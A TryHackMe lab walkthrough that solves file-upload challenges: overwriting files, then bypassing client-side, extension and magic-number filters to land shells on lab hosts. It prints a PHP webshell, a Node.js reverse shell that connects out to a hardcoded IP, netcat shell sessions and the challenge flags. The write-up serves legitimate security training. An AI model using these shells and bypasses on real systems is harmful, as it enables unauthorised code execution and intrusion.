[THM] Upload Vulnerabilities

The ability to upload files to a server has become an integral part of how we interact with web applications. Unfortunately, when handled badly, file uploads can also open up severe vulnerabilities in the server.

Overwriting Existing Files

Open your web browser and navigate to overwrite.uploadvulns.thm. Your goal is to overwrite a file on the server with an upload of your own.

What is the name of the image file which can be overwritten?

mountains.jpg

if no precautions are taken, we might be able to overwrite existing files on the server with a file with the same name.


Overwrite the image. What is the flag you receive?

THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}

alt text


Remote Code Execution

There are two basic ways to achieve RCE on a webserver when exploiting a file upload vulnerability: webshells and reverse/bind shells.

Navigate to shell.uploadvulns.thm and complete the questions for this task.

Run a Gobuster scan on the website using the syntax. What directory looks like it might be used for uploads?

/resources
 1┌──(kali㉿kali)-[~/Desktop]
 2└─$ gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 3===============================================================
 4Gobuster v3.6
 5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 6===============================================================
 7[+] Url:                     http://shell.uploadvulns.thm
 8[+] Method:                  GET
 9[+] Threads:                 10
10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11[+] Negative Status codes:   404
12[+] User Agent:              gobuster/3.6
13[+] Timeout:                 10s
14===============================================================
15Starting gobuster in directory enumeration mode
16===============================================================
17/resources            (Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]
18/assets               (Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]

Get either a web shell or a reverse shell on the machine. What’s the flag in the /var/www/ directory of the server?

THM{YWFhY2U3ZGI4N2QxNmQzZjk0YjgzZDZk}

I created a file called webshell.php and uploaded to the website in order to get a webshell on the machine.

echo '<?php echo system($_GET["cmd"]); ?>' > webshell.php

alt text

after uploading the file, navigate to /var/www directory and list files and directory by typing the following command on the browser:

http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd%20/var/www;%20ls;

alt text

As we can see, there’s the flag.txt file.

alt text


Filtering

Up until now, we have been ignoring the counter-defences employed by web developers. Every website so far has been completely insecure. From here on out, we’ll be looking at some of the defence mechanisms used to prevent malicious file uploads.

client-side filtering is trivially easy to by pass because the filtering is happening on our computer. client-side filtering by itself is a highly insecure method.

server-side filtering tends to be more difficult to by pass, as you don’t have the code in front of you.

Different kinds of filtering:


What is the traditionally predominant server-side scripting language?

PHP

When validating by file extension, what would you call a list of accepted extensions (whereby the server rejects any extension not in the list)?

whitelist

[Research] What MIME type would you expect to see when uploading a CSV file?

text/csv

alt text


Bypassing Client-Side Filtering

There are four easy ways to bypass your average client-side file upload filter:

  1. Turn off Javascript in your browser
  2. Intercept and modify the incoming page
  3. Intercept and modify the file upload
  4. Send the file directly to the upload point

Navigate to java.uploadvulns.thm and bypass the filter to get a reverse shell.

What is the flag in /var/www/?

THM{NDllZDQxNjJjOTE0YWNhZGY3YjljNmE2}

Let’s use Gobuster to locate the upload directory name first by running the following command:

gobuster dir -u http://java.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 1┌──(kali㉿kali)-[~/Desktop]
 2└─$ gobuster dir -u http://java.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 3===============================================================
 4Gobuster v3.6
 5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 6===============================================================
 7[+] Url:                     http://java.uploadvulns.thm
 8[+] Method:                  GET
 9[+] Threads:                 10
10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11[+] Negative Status codes:   404
12[+] User Agent:              gobuster/3.6
13[+] Timeout:                 10s
14===============================================================
15Starting gobuster in directory enumeration mode
16===============================================================
17/images               (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/images/]
18/assets               (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/assets/]

alt text

The website upload only accepts MIME type of png files. So I am going to create a file called hello.png but it contains the Pentest Monkey’s php-reverse-shell code.


alt text


Before hitting the upload button, make sure Intercept is on on Burpsuite to capture the request and we’re going to change the MIME type back to text/x-php and the file extension from .png to .php. alt text alt text


 1┌──(kali㉿kali)-[~/Desktop]
 2└─$ nc -lvp 443
 3listening on [any] 443 ...
 4connect to [10.6.67.243] from overwrite.uploadvulns.thm [10.10.41.54] 54590
 5Linux a73553061b26 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 6 04:52:35 up  4:07,  0 users,  load average: 0.00, 0.00, 0.00
 7USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 8uid=33(www-data) gid=33(www-data) groups=33(www-data)
 9/bin/sh: 0: can't access tty; job control turned off
10$ ls
11bin
12boot
13dev
14etc
15home
16lib
17lib32
18lib64
19libx32
20media
21mnt
22opt
23proc
24root
25run
26sbin
27srv
28sys
29tmp
30usr
31var
32$ cd /var/www
33$ ls
34flag.txt
35html
36$ cat flag.txt
37THM{NDllZDQxNjJjOTE0YWNhZGY3YjljNmE2}

Bypassing Server-Side Filtering: File Extensions

What is the flag in /var/www/?

THM{MGEyYzJiYmI3ODIyM2FlNTNkNjZjYjFl}

First let’s use Gobuster to locate the upload directory name. The directory name turned out to be privacy. alt text


I tried uploading .png file and it was accepted. So I tried uploading the reverse-shell-php file with the name of hello.png.php but it was denied by saying it’s an invalid type format. So I tried hello.php5 and it was accepted!

alt text alt text


After the file was uploaded, I navaigated to the /privacy. Before opening up the reverse-shell file, I had run the netcat command thats running on port 1234 to capture and receive the reverse shell connection.

 1┌──(kali㉿kali)-[~]
 2└─$ nc -lvnp 1234
 3listening on [any] 1234 ...
 4connect to [10.6.67.243] from (UNKNOWN) [10.10.103.254] 56504
 5Linux a2b9a5609bd8 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 6 03:50:14 up  1:26,  0 users,  load average: 0.03, 0.01, 0.00
 7USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 8uid=33(www-data) gid=33(www-data) groups=33(www-data)
 9/bin/sh: 0: can't access tty; job control turned off
10$ ls
11bin
12boot
13dev
14etc
15home
16lib
17lib32
18lib64
19libx32
20media
21mnt
22opt
23proc
24root
25run
26sbin
27srv
28sys
29tmp
30usr
31var
32$ cd /var/www
33$ ls
34flag.txt
35html
36$ cat flag.txt
37THM{MGEyYzJiYmI3ODIyM2FlNTNkNjZjYjFl}

Bypassing Server-Side Filtering: Magic Numbers

Head to magic.uploadvulns.thm – it’s time for the last mini-challenge.

Bypass the magic number filter to upload a shell. Find the location of the uploaded shell and activate it. Your flag is in /var/www/.

Grab the flag from /var/www/

THM{MWY5ZGU4NzE0ZDlhNjE1NGM4ZThjZDJh}

The website only accepts GIF type files.

alt text


1┌──(kali㉿kali)-[~/Desktop]
2└─$ file shell.php
3shell.php: PHP script, ASCII text

As you can see, our current shell has the type of PHP script. In order to bypass the magic number filtering, we have to add the GIF magic number to the top of our shell.php file.

GIF has a couple magic numbers but I am going to use 47 49 46 38 37 61.

Let’s open up the reverse shell script and add four random characters on the first line. This is just a temporary placeholder so these characters do not matter.

alt text

Let’s open up the file in hexeditor now. The first line has value of 41 41 41 41 which represents the values AAAA we put on the first line of the file. Let’s change them to JPEG magic numbers, 47 49 46 38 37 61

alt text alt text


If we run the file command again to see the file type, it now says it’s GIF type.

1┌──(kali㉿kali)-[~/Desktop]
2└─$ file shell.php
3shell.php: GIF image data, version 87a, 28735 x 28776

alt text


Let’s upload the file now and instead of navigating to /graphics (because directory indexing is turned off for this website), we are going to access the shell directly using its URI like the following:

http://magic.uploadvulns.thm/graphics/shell.php?cmd=whoami;

As you could see from the below, I was running the netcat server to capture the reverse shell and eventually got the flag.

 1┌──(kali㉿kali)-[~/Desktop]
 2└─$ nc -lvnp 1234
 3listening on [any] 1234 ...
 4connect to [10.6.67.243] from (UNKNOWN) [10.10.103.254] 38598
 5Linux 94d79a333b8d 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 6 04:35:03 up  2:11,  0 users,  load average: 0.00, 0.02, 0.01
 7USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 8uid=33(www-data) gid=33(www-data) groups=33(www-data)
 9/bin/sh: 0: can't access tty; job control turned off
10$ ls
11bin
12boot
13dev
14etc
15home
16lib
17lib32
18lib64
19libx32
20media
21mnt
22opt
23proc
24root
25run
26sbin
27srv
28sys
29tmp
30usr
31var
32$ cd /var/www/
33$ ls
34flag.txt
35html
36$ cat flag.txt
37THM{MWY5ZGU4NzE0ZDlhNjE1NGM4ZThjZDJh}

Challenge

For this task, we are given a black-box file upload challenge to complete.

Head over to jewel.uploadvulns.thm.

Take what you’ve learned in this room and use it to get a shell on this machine. As per usual, your flag is in /var/www/.

Hack the machine and grab the flag from /var/www/

THM{NzRlYTUwNTIzODMwMWZhMzBiY2JlZWU2}

Using Burpsuite, I captured the request on the website and the backend is running Javascript, as we can see from the X-Powered-By: Express.

alt text

Also the static upload.js file shows that the upload only accepts jpg or jpeg file format.

alt text


Since we found the backend is running javascript, we need the javascript version of rever shell script not the PHP that we’ve been using so far.

 1(function () {
 2  var net = require("net"),
 3    cp = require("child_process"),
 4    sh = cp.spawn("/bin/sh", []);
 5  var client = new net.Socket();
 6  client.connect(8080, "10.17.26.64", function () {
 7    client.pipe(sh.stdin);
 8    sh.stdout.pipe(client);
 9    sh.stderr.pipe(client);
10  });
11  return /a/; // Prevents the Node.js application form crashing
12})();

It seems like we can bypass three checks from the client-side: file size, magic number, and file extension. I am just going to delete all of the checks. alt text


Now the file upload has been successful.

alt text

I’ve already found the relative directories for image uploads by using the gobuster command that I’ve been using for this room.

 1┌──(kali㉿kali)-[~/Desktop]
 2└─$ gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 3===============================================================
 4Gobuster v3.6
 5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 6===============================================================
 7[+] Url:                     http://jewel.uploadvulns.thm
 8[+] Method:                  GET
 9[+] Threads:                 10
10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11[+] Negative Status codes:   404
12[+] User Agent:              gobuster/3.6
13[+] Timeout:                 10s
14===============================================================
15Starting gobuster in directory enumeration mode
16===============================================================
17/content              (Status: 301) [Size: 181] [--> /content/]
18/modules              (Status: 301) [Size: 181] [--> /modules/]
19/admin                (Status: 200) [Size: 1238]
20/assets               (Status: 301) [Size: 179] [--> /assets/]
21/Content              (Status: 301) [Size: 181] [--> /Content/]
22/Assets               (Status: 301) [Size: 179] [--> /Assets/]
23/Modules              (Status: 301) [Size: 181] [--> /Modules/]
24/Admin                (Status: 200) [Size: 1238]

Navigating to other directories are not permitted except the /admin. Take a look at the text on the admin page: As a reminder: use this form to activate modules from the /modules directory. I already know that images are stored in /content not /modules. To access the images I uploaded on /content, I need to specify ../content/{the file of the image}.jpg as we already saw in the gobuster output, both directories are in the same level.

alt text


Now, run another gobuster command against the /content directory with the wordlist provided plus -x command to look for jpg files.

alt text


As we can see, gobuster output changed our uploaded file name to FNK.jpg notice its size, it’s realtively and small compared to to other files. Let’s run our reverse-shell on the admin page.

alt text


the netcat successfully captured the reverse-shell. I was able to change directory to /var/www and capture the flag.

alt text

#TryHackMe